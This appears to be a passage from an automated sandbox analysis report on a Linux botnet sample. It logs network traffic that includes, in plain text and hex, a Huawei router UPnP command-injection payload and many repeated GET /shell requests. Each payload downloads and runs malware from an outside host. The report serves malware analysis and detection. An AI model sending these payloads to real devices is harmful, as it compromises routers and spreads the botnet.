0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/N1msxMZ5Il.elf (PID: 6245)

Socket: 127.0.0.1::46132

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 207.64.5.2
Source: unknown	TCP traffic detected without corresponding DNS query: 135.159.186.2
Source: unknown	TCP traffic detected without corresponding DNS query: 178.9.227.1
Source: unknown	TCP traffic detected without corresponding DNS query: 140.108.75.151
Source: unknown	TCP traffic detected without corresponding DNS query: 218.23.198.84
Source: unknown	TCP traffic detected without corresponding DNS query: 144.105.177.14
Source: unknown	TCP traffic detected without corresponding DNS query: 147.93.113.56
Source: unknown	TCP traffic detected without corresponding DNS query: 162.47.80.244
Source: unknown	TCP traffic detected without corresponding DNS query: 159.168.207.170
Source: unknown	TCP traffic detected without corresponding DNS query: 193.211.70.196
Source: unknown	TCP traffic detected without corresponding DNS query: 104.216.166.225
Source: unknown	TCP traffic detected without corresponding DNS query: 31.72.106.90
Source: unknown	TCP traffic detected without corresponding DNS query: 176.79.137.253
Source: unknown	TCP traffic detected without corresponding DNS query: 52.241.101.174
Source: unknown	TCP traffic detected without corresponding DNS query: 54.190.140.236
Source: unknown	TCP traffic detected without corresponding DNS query: 59.171.222.154
Source: unknown	TCP traffic detected without corresponding DNS query: 53.246.225.212
Source: unknown	TCP traffic detected without corresponding DNS query: 115.93.144.56
Source: unknown	TCP traffic detected without corresponding DNS query: 160.172.161.2
Source: unknown	TCP traffic detected without corresponding DNS query: 159.101.148.42
Source: unknown	TCP traffic detected without corresponding DNS query: 13.223.37.30
Source: unknown	TCP traffic detected without corresponding DNS query: 160.31.92.74
Source: unknown	TCP traffic detected without corresponding DNS query: 57.48.54.169
Source: unknown	TCP traffic detected without corresponding DNS query: 135.150.234.177
Source: unknown	TCP traffic detected without corresponding DNS query: 166.216.170.115
Source: unknown	TCP traffic detected without corresponding DNS query: 86.194.33.132
Source: unknown	TCP traffic detected without corresponding DNS query: 68.135.51.40
Source: unknown	TCP traffic detected without corresponding DNS query: 36.61.97.46
Source: unknown	TCP traffic detected without corresponding DNS query: 159.245.194.119
Source: unknown	TCP traffic detected without corresponding DNS query: 190.90.200.6
Source: unknown	TCP traffic detected without corresponding DNS query: 51.21.197.70
Source: unknown	TCP traffic detected without corresponding DNS query: 124.67.175.135
Source: unknown	TCP traffic detected without corresponding DNS query: 134.225.156.96
Source: unknown	TCP traffic detected without corresponding DNS query: 182.185.185.254
Source: unknown	TCP traffic detected without corresponding DNS query: 8.67.61.114
Source: unknown	TCP traffic detected without corresponding DNS query: 135.25.89.52
Source: unknown	TCP traffic detected without corresponding DNS query: 204.94.112.177
Source: unknown	TCP traffic detected without corresponding DNS query: 150.234.148.129
Source: unknown	TCP traffic detected without corresponding DNS query: 111.71.33.41
Source: unknown	TCP traffic detected without corresponding DNS query: 59.211.156.213
Source: unknown	TCP traffic detected without corresponding DNS query: 23.18.237.238
Source: unknown	TCP traffic detected without corresponding DNS query: 103.204.43.211
Source: unknown	TCP traffic detected without corresponding DNS query: 158.38.112.58
Source: unknown	TCP traffic detected without corresponding DNS query: 140.129.102.139
Source: unknown	TCP traffic detected without corresponding DNS query: 118.134.197.162
Source: unknown	TCP traffic detected without corresponding DNS query: 108.114.41.77
Source: unknown	TCP traffic detected without corresponding DNS query: 181.170.161.10
Source: unknown	TCP traffic detected without corresponding DNS query: 72.53.59.199
Source: unknown	TCP traffic detected without corresponding DNS query: 13.115.76.142

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
